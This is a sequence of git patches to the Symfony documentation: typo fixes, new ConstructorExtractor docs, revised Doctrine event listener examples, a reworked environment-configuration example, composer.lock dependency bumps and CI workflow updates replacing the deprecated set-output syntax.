-:class:`Symfony\\Component\\Clock\\MonotonicClock``
+:class:`Symfony\\Component\\Clock\\MonotonicClock`
     Relies on ``hrtime()`` and provides a high resolution, monotonic clock,
     when you need a precise stopwatch.
 

From b64d930043683c8f121a93f70cf48e38a97fecff Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 5 Apr 2023 13:45:02 +0200
Subject: [PATCH 4534/7107] Fix: Typo

---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 9941f945e0a..0f9251e2007 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -40,7 +40,7 @@ The notifier component supports the following channels:
 .. tip::
 
     Use :doc:`secrets </configuration/secrets>` to securely store your
-    API's tokens.
+    API tokens.
 
 .. _notifier-sms-channel:
 

From 8b13d333df44b63722d93e2dfb7518395798b322 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 4 Apr 2023 18:58:48 +0200
Subject: [PATCH 4535/7107] [PropertyInfo] Add `ConstructorExtractor`
 documentation

---
 components/property_info.rst | 32 ++++++++++++++++++++++++++++++++
 1 file changed, 32 insertions(+)

diff --git a/components/property_info.rst b/components/property_info.rst
index 1a60978a03e..fb31d3d18cd 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -483,6 +483,38 @@ with the ``property_info`` service in the Symfony Framework::
     // Type information.
     $doctrineExtractor->getTypes($class, $property);
 
+ConstructorExtractor
+~~~~~~~~~~~~~~~~~~~~
+
+The :class:`Symfony\\Component\\PropertyInfo\\Extractor\\ConstructorExtractor`
+tries to extract properties information by using either the
+:class:`Symfony\\Component\\PropertyInfo\\Extractor\\PhpStanExtractor` or
+the :class:`Symfony\\Component\\PropertyInfo\\Extractor\\ReflectionExtractor`
+on the constructor arguments::
+
+    // src/Domain/Foo.php
+    class Foo
+    {
+        private $bar;
+
+        public function __construct(string $bar)
+        {
+            $this->bar = $bar;
+        }
+    }
+
+    // Extraction.php
+    use Symfony\Component\PropertyInfo\Extractor\ConstructorExtractor;
+    use App\Domain\Foo;
+
+    $constructorExtractor = new ConstructorExtractor([new ReflectionExtractor()]);
+    $constructorExtractor->getTypes(Foo::class, 'bar')[0]->getBuiltinType(); // returns 'string'
+
+.. versionadded:: 5.2
+
+    The :class:`Symfony\\Component\\PropertyInfo\\Extractor\\ConstructorExtractor`
+    was introduced in Symfony 5.2.
+
 .. _`components-property-information-extractors-creation`:
 
 Creating Your Own Extractors

From 655fbe08a77322108cbf24aa54dce8e3a1234741 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 5 Apr 2023 15:52:37 +0200
Subject: [PATCH 4536/7107] Minor tweaks

---
 doctrine/events.rst | 22 +++++++++++++++-------
 1 file changed, 15 insertions(+), 7 deletions(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 21b2e4f8d23..465cd967e77 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -140,6 +140,11 @@ do so, define a listener for the ``postPersist`` Doctrine event::
         }
     }
 
+.. note::
+
+    In previous Doctrine versions, instead of ``PostPersistEventArgs``, you had
+    to use ``LifecycleEventArgs``, which was deprecated in Doctrine ORM 2.14.
+
 Then, add the ``#[AsDoctrineListener]`` attribute to the class to enable it as
 a Doctrine listener in your application::
 
@@ -438,27 +443,25 @@ want to log all the database activity. To do so, define a subscriber for the
         }
 
         // callback methods must be called exactly like the events they listen to;
-        // they receive an argument of type PostPersistEventArgs, which gives you access
+        // they receive an argument of type Post*EventArgs, which gives you access
         // to both the entity object of the event and the entity manager itself
         public function postPersist(PostPersistEventArgs $args): void
         {
-            $this->logActivity('persist', $args);
+            $this->logActivity('persist', $args->getObject());
         }
 
         public function postRemove(PostRemoveEventArgs $args): void
         {
-            $this->logActivity('remove', $args);
+            $this->logActivity('remove', $args->getObject());
         }
 
         public function postUpdate(PostUpdateEventArgs $args): void
         {
-            $this->logActivity('update', $args);
+            $this->logActivity('update', $args->getObject());
         }
 
-        private function logActivity(string $action, PostUpdateEventArgs|PostRemoveEventArgs|PostPersistEventArgs $args): void
+        private function logActivity(string $action, mixed $entity): void
         {
-            $entity = $args->getObject();
-
             // if this subscriber only applies to certain entity types,
             // add some code to check the entity type as early as possible
             if (!$entity instanceof Product) {
@@ -469,6 +472,11 @@ want to log all the database activity. To do so, define a subscriber for the
         }
     }
 
+.. note::
+
+    In previous Doctrine versions, instead of ``Post*EventArgs`` classes, you had
+    to use ``LifecycleEventArgs``, which was deprecated in Doctrine ORM 2.14.
+
 If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`
 and DoctrineBundle 2.1 (released May 25, 2020) or newer, this example will already
 work! Otherwise, :ref:`create a service <service-container-creating-service>` for this

From e95496669b3e1bf41a6f87b89a44f09c3983215b Mon Sep 17 00:00:00 2001
From: Ionut Enache <ionut.enache@evozon.com>
Date: Wed, 5 Apr 2023 18:18:46 +0300
Subject: [PATCH 4537/7107] Update the example provided in the Development
 Versus Production: Environments section

---
 quick_tour/the_architecture.rst | 85 +++++++++++++++++++++++----------
 1 file changed, 60 insertions(+), 25 deletions(-)

diff --git a/quick_tour/the_architecture.rst b/quick_tour/the_architecture.rst
index 909dac32193..3e6eaaacaae 100644
--- a/quick_tour/the_architecture.rst
+++ b/quick_tour/the_architecture.rst
@@ -237,31 +237,66 @@ whenever needed.
 But what about when you deploy to production? We will need to hide those tools and
 optimize for speed!
 
-This is solved by Symfony's *environment* system and there are three: ``dev``, ``prod``
-and ``test``. Based on the environment, Symfony loads different files in the ``config/``
-directory:
-
-.. code-block:: text
-
-    config/
-    ├─ services.yaml
-    ├─ ...
-    └─ packages/
-        ├─ framework.yaml
-        ├─ ...
-        ├─ **dev/**
-            ├─ monolog.yaml
-            └─ ...
-        ├─ **prod/**
-            └─ monolog.yaml
-        └─ **test/**
-            ├─ framework.yaml
-            └─ ...
-    └─ routes/
-        ├─ annotations.yaml
-        └─ **dev/**
-            ├─ twig.yaml
-            └─ web_profiler.yaml
+This is solved by Symfony's *environment* system and there are three environments a
+typical Symfony application begins with: ``dev``, ``prod``, and ``test``. You can define
+options for specific environments in the configuration files from the ``config/``
+directory using the special ``when`` keyword:
+
+.. configuration-block::
+
+        .. code-block:: yaml
+
+            # config/packages/routing.yaml
+            framework:
+                router:
+                    utf8: true
+
+            when@prod:
+                framework:
+                    router:
+                        strict_requirements: null
+
+        .. code-block:: xml
+
+            <!-- config/packages/framework.xml -->
+            <?xml version="1.0" encoding="UTF-8" ?>
+            <container xmlns="http://symfony.com/schema/dic/services"
+                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+                xmlns:framework="http://symfony.com/schema/dic/symfony"
+                xsi:schemaLocation="http://symfony.com/schema/dic/services
+                    https://symfony.com/schema/dic/services/services-1.0.xsd
+                    http://symfony.com/schema/dic/symfony
+                    https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+                <framework:config>
+                    <framework:router utf8="true"/>
+                </framework:config>
+
+                <when env="prod">
+                    <framework:config>
+                        <framework:router strict-requirements="null"/>
+                    </framework:config>
+                </when>
+            </container>
+
+        .. code-block:: php
+
+            // config/packages/framework.php
+            namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+            use Symfony\Config\FrameworkConfig;
+
+            return static function (FrameworkConfig $framework, ContainerConfigurator $containerConfigurator) {
+                $framework->router()
+                    ->utf8(true)
+                ;
+
+                if ('prod' === $containerConfigurator->env()) {
+                    $framework->router()
+                        ->strictRequirements(null)
+                    ;
+                }
+            };
 
 This is a *powerful* idea: by changing one piece of configuration (the environment),
 your app is transformed from a debugging-friendly experience to one that's optimized

From bcf07d584735eea40ec0cf331e2b56c28e7ca509 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 6 Apr 2023 08:28:39 +0200
Subject: [PATCH 4538/7107] Enhancement: Remove obsolete versionadded directive

---
 components/property_info.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/components/property_info.rst b/components/property_info.rst
index 8e03762d70a..bb3123b4dc9 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -532,11 +532,6 @@ on the constructor arguments::
     $constructorExtractor = new ConstructorExtractor([new ReflectionExtractor()]);
     $constructorExtractor->getTypes(Foo::class, 'bar')[0]->getBuiltinType(); // returns 'string'
 
-.. versionadded:: 5.2
-
-    The :class:`Symfony\\Component\\PropertyInfo\\Extractor\\ConstructorExtractor`
-    was introduced in Symfony 5.2.
-
 .. _`components-property-information-extractors-creation`:
 
 Creating Your Own Extractors

From 5bc0becac87d34de4ec073f01bacc6a42cb08fc4 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 4 Apr 2023 18:59:58 +0200
Subject: [PATCH 4539/7107] [PropertyInfo] Add `ConstructorExtractor`
 documentation for 6.2 (with CPP)

---
 components/property_info.rst | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/components/property_info.rst b/components/property_info.rst
index bb3123b4dc9..84315f59f70 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -438,6 +438,7 @@ information from annotations of properties and methods, such as ``@var``,
 
     // Extraction.php
     use Symfony\Component\PropertyInfo\Extractor\PhpStanExtractor;
+    use App\Domain\Foo;
 
     $phpStanExtractor = new PhpStanExtractor();
     $phpStanExtractor->getTypesFromConstructor(Foo::class, 'bar');
@@ -517,11 +518,9 @@ on the constructor arguments::
     // src/Domain/Foo.php
     class Foo
     {
-        private $bar;
-
-        public function __construct(string $bar)
-        {
-            $this->bar = $bar;
+        public function __construct(
+            private string $bar,
+        ) {
         }
     }
 

From 6454c362fff8d74173e061db7d500a903a8582f3 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 6 Apr 2023 09:45:21 +0200
Subject: [PATCH 4540/7107] Sort

---
 components/property_info.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/property_info.rst b/components/property_info.rst
index 84315f59f70..09f15d6c529 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -525,8 +525,8 @@ on the constructor arguments::
     }
 
     // Extraction.php
-    use Symfony\Component\PropertyInfo\Extractor\ConstructorExtractor;
     use App\Domain\Foo;
+    use Symfony\Component\PropertyInfo\Extractor\ConstructorExtractor;
 
     $constructorExtractor = new ConstructorExtractor([new ReflectionExtractor()]);
     $constructorExtractor->getTypes(Foo::class, 'bar')[0]->getBuiltinType(); // returns 'string'

From f214349de556a2861eab653c4bdffb761d2cad4f Mon Sep 17 00:00:00 2001
From: Christophe Coevoet <stof@notk.org>
Date: Thu, 6 Apr 2023 14:46:00 +0200
Subject: [PATCH 4541/7107] Update the docs-builder tool

---
 _build/composer.lock | 161 ++++++++++++++++++++++---------------------
 1 file changed, 82 insertions(+), 79 deletions(-)

diff --git a/_build/composer.lock b/_build/composer.lock
index 0ec00db5a84..d45dc483946 100644
--- a/_build/composer.lock
+++ b/_build/composer.lock
@@ -466,16 +466,16 @@
         },
         {
             "name": "symfony-tools/docs-builder",
-            "version": "v0.20.0",
+            "version": "v0.20.2",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony-tools/docs-builder.git",
-                "reference": "544f4bd4cabffa9eeaa4e4c85f3a7084e1a54cdc"
+                "reference": "6486fd734bb151a05f592b06ac1569c62d338a08"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony-tools/docs-builder/zipball/544f4bd4cabffa9eeaa4e4c85f3a7084e1a54cdc",
-                "reference": "544f4bd4cabffa9eeaa4e4c85f3a7084e1a54cdc",
+                "url": "https://api.github.com/repos/symfony-tools/docs-builder/zipball/6486fd734bb151a05f592b06ac1569c62d338a08",
+                "reference": "6486fd734bb151a05f592b06ac1569c62d338a08",
                 "shasum": ""
             },
             "require": {
@@ -514,22 +514,22 @@
             "description": "The build system for Symfony's documentation",
             "support": {
                 "issues": "https://github.com/symfony-tools/docs-builder/issues",
-                "source": "https://github.com/symfony-tools/docs-builder/tree/v0.20.0"
+                "source": "https://github.com/symfony-tools/docs-builder/tree/v0.20.2"
             },
-            "time": "2023-03-23T08:48:27+00:00"
+            "time": "2023-04-04T06:17:34+00:00"
         },
         {
             "name": "symfony/console",
-            "version": "v6.2.3",
+            "version": "v6.2.8",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/console.git",
-                "reference": "0f579613e771dba2dbb8211c382342a641f5da06"
+                "reference": "3582d68a64a86ec25240aaa521ec8bc2342b369b"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/console/zipball/0f579613e771dba2dbb8211c382342a641f5da06",
-                "reference": "0f579613e771dba2dbb8211c382342a641f5da06",
+                "url": "https://api.github.com/repos/symfony/console/zipball/3582d68a64a86ec25240aaa521ec8bc2342b369b",
+                "reference": "3582d68a64a86ec25240aaa521ec8bc2342b369b",
                 "shasum": ""
             },
             "require": {
@@ -591,12 +591,12 @@
             "homepage": "https://symfony.com",
             "keywords": [
                 "cli",
-                "command line",
+                "command-line",
                 "console",
                 "terminal"
             ],
             "support": {
-                "source": "https://github.com/symfony/console/tree/v6.2.3"
+                "source": "https://github.com/symfony/console/tree/v6.2.8"
             },
             "funding": [
                 {
@@ -612,20 +612,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-12-28T14:26:22+00:00"
+            "time": "2023-03-29T21:42:15+00:00"
         },
         {
             "name": "symfony/css-selector",
-            "version": "v6.2.3",
+            "version": "v6.2.7",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/css-selector.git",
-                "reference": "ab1df4ba3ded7b724766ba3a6e0eca0418e74f80"
+                "reference": "aedf3cb0f5b929ec255d96bbb4909e9932c769e0"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/css-selector/zipball/ab1df4ba3ded7b724766ba3a6e0eca0418e74f80",
-                "reference": "ab1df4ba3ded7b724766ba3a6e0eca0418e74f80",
+                "url": "https://api.github.com/repos/symfony/css-selector/zipball/aedf3cb0f5b929ec255d96bbb4909e9932c769e0",
+                "reference": "aedf3cb0f5b929ec255d96bbb4909e9932c769e0",
                 "shasum": ""
             },
             "require": {
@@ -661,7 +661,7 @@
             "description": "Converts CSS selectors to XPath expressions",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/css-selector/tree/v6.2.3"
+                "source": "https://github.com/symfony/css-selector/tree/v6.2.7"
             },
             "funding": [
                 {
@@ -677,20 +677,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-12-28T14:26:22+00:00"
+            "time": "2023-02-14T08:44:56+00:00"
         },
         {
             "name": "symfony/deprecation-contracts",
-            "version": "v3.2.0",
+            "version": "v3.2.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/deprecation-contracts.git",
-                "reference": "1ee04c65529dea5d8744774d474e7cbd2f1206d3"
+                "reference": "e2d1534420bd723d0ef5aec58a22c5fe60ce6f5e"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/deprecation-contracts/zipball/1ee04c65529dea5d8744774d474e7cbd2f1206d3",
-                "reference": "1ee04c65529dea5d8744774d474e7cbd2f1206d3",
+                "url": "https://api.github.com/repos/symfony/deprecation-contracts/zipball/e2d1534420bd723d0ef5aec58a22c5fe60ce6f5e",
+                "reference": "e2d1534420bd723d0ef5aec58a22c5fe60ce6f5e",
                 "shasum": ""
             },
             "require": {
@@ -728,7 +728,7 @@
             "description": "A generic function and convention to trigger deprecation notices",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/deprecation-contracts/tree/v3.2.0"
+                "source": "https://github.com/symfony/deprecation-contracts/tree/v3.2.1"
             },
             "funding": [
                 {
@@ -744,20 +744,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-11-25T10:21:52+00:00"
+            "time": "2023-03-01T10:25:55+00:00"
         },
         {
             "name": "symfony/dom-crawler",
-            "version": "v6.2.3",
+            "version": "v6.2.8",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/dom-crawler.git",
-                "reference": "f2743e033dd05a62978ced0ad368022e82c9fab2"
+                "reference": "0e0d0f709997ad1224ef22bb0a28287c44b7840f"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/dom-crawler/zipball/f2743e033dd05a62978ced0ad368022e82c9fab2",
-                "reference": "f2743e033dd05a62978ced0ad368022e82c9fab2",
+                "url": "https://api.github.com/repos/symfony/dom-crawler/zipball/0e0d0f709997ad1224ef22bb0a28287c44b7840f",
+                "reference": "0e0d0f709997ad1224ef22bb0a28287c44b7840f",
                 "shasum": ""
             },
             "require": {
@@ -798,7 +798,7 @@
             "description": "Eases DOM navigation for HTML and XML documents",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/dom-crawler/tree/v6.2.3"
+                "source": "https://github.com/symfony/dom-crawler/tree/v6.2.8"
             },
             "funding": [
                 {
@@ -814,20 +814,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-12-22T17:55:15+00:00"
+            "time": "2023-03-09T16:20:02+00:00"
         },
         {
             "name": "symfony/filesystem",
-            "version": "v6.2.0",
+            "version": "v6.2.7",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/filesystem.git",
-                "reference": "50b2523c874605cf3d4acf7a9e2b30b6a440a016"
+                "reference": "82b6c62b959f642d000456f08c6d219d749215b3"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/filesystem/zipball/50b2523c874605cf3d4acf7a9e2b30b6a440a016",
-                "reference": "50b2523c874605cf3d4acf7a9e2b30b6a440a016",
+                "url": "https://api.github.com/repos/symfony/filesystem/zipball/82b6c62b959f642d000456f08c6d219d749215b3",
+                "reference": "82b6c62b959f642d000456f08c6d219d749215b3",
                 "shasum": ""
             },
             "require": {
@@ -861,7 +861,7 @@
             "description": "Provides basic utilities for the filesystem",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/filesystem/tree/v6.2.0"
+                "source": "https://github.com/symfony/filesystem/tree/v6.2.7"
             },
             "funding": [
                 {
@@ -877,20 +877,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-11-20T13:01:27+00:00"
+            "time": "2023-02-14T08:44:56+00:00"
         },
         {
             "name": "symfony/finder",
-            "version": "v6.2.3",
+            "version": "v6.2.7",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/finder.git",
-                "reference": "81eefbddfde282ee33b437ba5e13d7753211ae8e"
+                "reference": "20808dc6631aecafbe67c186af5dcb370be3a0eb"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/finder/zipball/81eefbddfde282ee33b437ba5e13d7753211ae8e",
-                "reference": "81eefbddfde282ee33b437ba5e13d7753211ae8e",
+                "url": "https://api.github.com/repos/symfony/finder/zipball/20808dc6631aecafbe67c186af5dcb370be3a0eb",
+                "reference": "20808dc6631aecafbe67c186af5dcb370be3a0eb",
                 "shasum": ""
             },
             "require": {
@@ -925,7 +925,7 @@
             "description": "Finds files and directories via an intuitive fluent interface",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/finder/tree/v6.2.3"
+                "source": "https://github.com/symfony/finder/tree/v6.2.7"
             },
             "funding": [
                 {
@@ -941,20 +941,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-12-22T17:55:15+00:00"
+            "time": "2023-02-16T09:57:23+00:00"
         },
         {
             "name": "symfony/http-client",
-            "version": "v6.2.2",
+            "version": "v6.2.8",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/http-client.git",
-                "reference": "7054ad466f836309aef511789b9c697bc986d8ce"
+                "reference": "66391ba3a8862c560e1d9134c96d9bd2a619b477"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/http-client/zipball/7054ad466f836309aef511789b9c697bc986d8ce",
-                "reference": "7054ad466f836309aef511789b9c697bc986d8ce",
+                "url": "https://api.github.com/repos/symfony/http-client/zipball/66391ba3a8862c560e1d9134c96d9bd2a619b477",
+                "reference": "66391ba3a8862c560e1d9134c96d9bd2a619b477",
                 "shasum": ""
             },
             "require": {
@@ -1009,8 +1009,11 @@
             ],
             "description": "Provides powerful methods to fetch HTTP resources synchronously or asynchronously",
             "homepage": "https://symfony.com",
+            "keywords": [
+                "http"
+            ],
             "support": {
-                "source": "https://github.com/symfony/http-client/tree/v6.2.2"
+                "source": "https://github.com/symfony/http-client/tree/v6.2.8"
             },
             "funding": [
                 {
@@ -1026,20 +1029,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-12-14T16:11:27+00:00"
+            "time": "2023-03-31T09:14:44+00:00"
         },
         {
             "name": "symfony/http-client-contracts",
-            "version": "v3.2.0",
+            "version": "v3.2.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/http-client-contracts.git",
-                "reference": "c5f587eb445224ddfeb05b5ee703476742d730bf"
+                "reference": "df2ecd6cb70e73c1080e6478aea85f5f4da2c48b"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/http-client-contracts/zipball/c5f587eb445224ddfeb05b5ee703476742d730bf",
-                "reference": "c5f587eb445224ddfeb05b5ee703476742d730bf",
+                "url": "https://api.github.com/repos/symfony/http-client-contracts/zipball/df2ecd6cb70e73c1080e6478aea85f5f4da2c48b",
+                "reference": "df2ecd6cb70e73c1080e6478aea85f5f4da2c48b",
                 "shasum": ""
             },
             "require": {
@@ -1091,7 +1094,7 @@
                 "standards"
             ],
             "support": {
-                "source": "https://github.com/symfony/http-client-contracts/tree/v3.2.0"
+                "source": "https://github.com/symfony/http-client-contracts/tree/v3.2.1"
             },
             "funding": [
                 {
@@ -1107,7 +1110,7 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-11-25T10:21:52+00:00"
+            "time": "2023-03-01T10:32:47+00:00"
         },
         {
             "name": "symfony/polyfill-ctype",
@@ -1441,16 +1444,16 @@
         },
         {
             "name": "symfony/process",
-            "version": "v6.2.0",
+            "version": "v6.2.8",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/process.git",
-                "reference": "ba6e55359f8f755fe996c58a81e00eaa67a35877"
+                "reference": "75ed64103df4f6615e15a7fe38b8111099f47416"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/process/zipball/ba6e55359f8f755fe996c58a81e00eaa67a35877",
-                "reference": "ba6e55359f8f755fe996c58a81e00eaa67a35877",
+                "url": "https://api.github.com/repos/symfony/process/zipball/75ed64103df4f6615e15a7fe38b8111099f47416",
+                "reference": "75ed64103df4f6615e15a7fe38b8111099f47416",
                 "shasum": ""
             },
             "require": {
@@ -1482,7 +1485,7 @@
             "description": "Executes commands in sub-processes",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/process/tree/v6.2.0"
+                "source": "https://github.com/symfony/process/tree/v6.2.8"
             },
             "funding": [
                 {
@@ -1498,20 +1501,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-11-02T09:08:04+00:00"
+            "time": "2023-03-09T16:20:02+00:00"
         },
         {
             "name": "symfony/service-contracts",
-            "version": "v3.2.0",
+            "version": "v3.2.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/service-contracts.git",
-                "reference": "aac98028c69df04ee77eb69b96b86ee51fbf4b75"
+                "reference": "a8c9cedf55f314f3a186041d19537303766df09a"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/service-contracts/zipball/aac98028c69df04ee77eb69b96b86ee51fbf4b75",
-                "reference": "aac98028c69df04ee77eb69b96b86ee51fbf4b75",
+                "url": "https://api.github.com/repos/symfony/service-contracts/zipball/a8c9cedf55f314f3a186041d19537303766df09a",
+                "reference": "a8c9cedf55f314f3a186041d19537303766df09a",
                 "shasum": ""
             },
             "require": {
@@ -1567,7 +1570,7 @@
                 "standards"
             ],
             "support": {
-                "source": "https://github.com/symfony/service-contracts/tree/v3.2.0"
+                "source": "https://github.com/symfony/service-contracts/tree/v3.2.1"
             },
             "funding": [
                 {
@@ -1583,20 +1586,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-11-25T10:21:52+00:00"
+            "time": "2023-03-01T10:32:47+00:00"
         },
         {
             "name": "symfony/string",
-            "version": "v6.2.2",
+            "version": "v6.2.8",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/string.git",
-                "reference": "863219fd713fa41cbcd285a79723f94672faff4d"
+                "reference": "193e83bbd6617d6b2151c37fff10fa7168ebddef"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/string/zipball/863219fd713fa41cbcd285a79723f94672faff4d",
-                "reference": "863219fd713fa41cbcd285a79723f94672faff4d",
+                "url": "https://api.github.com/repos/symfony/string/zipball/193e83bbd6617d6b2151c37fff10fa7168ebddef",
+                "reference": "193e83bbd6617d6b2151c37fff10fa7168ebddef",
                 "shasum": ""
             },
             "require": {
@@ -1653,7 +1656,7 @@
                 "utf8"
             ],
             "support": {
-                "source": "https://github.com/symfony/string/tree/v6.2.2"
+                "source": "https://github.com/symfony/string/tree/v6.2.8"
             },
             "funding": [
                 {
@@ -1669,7 +1672,7 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-12-14T16:11:27+00:00"
+            "time": "2023-03-20T16:06:02+00:00"
         },
         {
             "name": "symfony/translation-contracts",
@@ -1751,16 +1754,16 @@
         },
         {
             "name": "twig/twig",
-            "version": "v3.5.0",
+            "version": "v3.5.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/twigphp/Twig.git",
-                "reference": "3ffcf4b7d890770466da3b2666f82ac054e7ec72"
+                "reference": "a6e0510cc793912b451fd40ab983a1d28f611c15"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/twigphp/Twig/zipball/3ffcf4b7d890770466da3b2666f82ac054e7ec72",
-                "reference": "3ffcf4b7d890770466da3b2666f82ac054e7ec72",
+                "url": "https://api.github.com/repos/twigphp/Twig/zipball/a6e0510cc793912b451fd40ab983a1d28f611c15",
+                "reference": "a6e0510cc793912b451fd40ab983a1d28f611c15",
                 "shasum": ""
             },
             "require": {
@@ -1811,7 +1814,7 @@
             ],
             "support": {
                 "issues": "https://github.com/twigphp/Twig/issues",
-                "source": "https://github.com/twigphp/Twig/tree/v3.5.0"
+                "source": "https://github.com/twigphp/Twig/tree/v3.5.1"
             },
             "funding": [
                 {
@@ -1823,7 +1826,7 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-12-27T12:28:18+00:00"
+            "time": "2023-02-08T07:49:20+00:00"
         }
     ],
     "packages-dev": [],

From 5756c45f9b25bc333f3d74523a754a19c6116aea Mon Sep 17 00:00:00 2001
From: Christophe Coevoet <stof@notk.org>
Date: Thu, 6 Apr 2023 14:54:48 +0200
Subject: [PATCH 4542/7107] Fix the order of code statements in the code
 snippet

This will make the doctor-rst CI job green again.
---
 doctrine/events.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 465cd967e77..1e0fedfd00c 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -424,10 +424,10 @@ want to log all the database activity. To do so, define a subscriber for the
 
     use App\Entity\Product;
     use Doctrine\Bundle\DoctrineBundle\EventSubscriber\EventSubscriberInterface;
-    use Doctrine\ORM\Events;
     use Doctrine\ORM\Event\PostPersistEventArgs;
     use Doctrine\ORM\Event\PostRemoveEventArgs;
     use Doctrine\ORM\Event\PostUpdateEventArgs;
+    use Doctrine\ORM\Events;
 
     class DatabaseActivitySubscriber implements EventSubscriberInterface
     {

From 578a88bc766ef82fa45cc017e5222773abb99e30 Mon Sep 17 00:00:00 2001
From: Christophe Coevoet <stof@notk.org>
Date: Fri, 7 Apr 2023 09:57:17 +0200
Subject: [PATCH 4543/7107] Migrate the CI away from deprecated features

---
 .github/workflows/ci.yaml | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 91e5d0212a6..43e9274b128 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -33,7 +33,7 @@ jobs:
             -   name: Get composer cache directory
                 id: composercache
                 working-directory: _build
-                run: echo "::set-output name=dir::$(composer config cache-files-dir)"
+                run: echo "dir=$(composer config cache-files-dir)" >> $GITHUB_OUTPUT
 
             -   name: Cache dependencies
                 uses: actions/cache@v3
@@ -63,7 +63,7 @@ jobs:
                 run: mkdir .cache
 
             -   name: "Extract base branch name"
-                run: echo "##[set-output name=branch;]$(echo ${GITHUB_BASE_REF:=${GITHUB_REF##*/}})"
+                run: echo "branch=$(echo ${GITHUB_BASE_REF:=${GITHUB_REF##*/}})" >> $GITHUB_OUTPUT
                 id: extract_base_branch
 
             -   name: "Cache DOCtor-RST"
@@ -100,12 +100,12 @@ jobs:
           - name: Find modified files
             id: find-files
             working-directory: docs
-            run: echo "::set-output name=files::$(git diff --name-only origin/${{ github.base_ref }} HEAD | grep ".rst" | tr '\n' ' ')"
+            run: echo "files=$(git diff --name-only origin/${{ github.base_ref }} HEAD | grep ".rst" | tr '\n' ' ')" >> $GITHUB_OUTPUT
 
           - name: Get composer cache directory
             id: composercache
             working-directory: docs/_build
-            run: echo "::set-output name=dir::$(composer config cache-files-dir)"
+            run: echo "dir=$(composer config cache-files-dir)" >> $GITHUB_OUTPUT
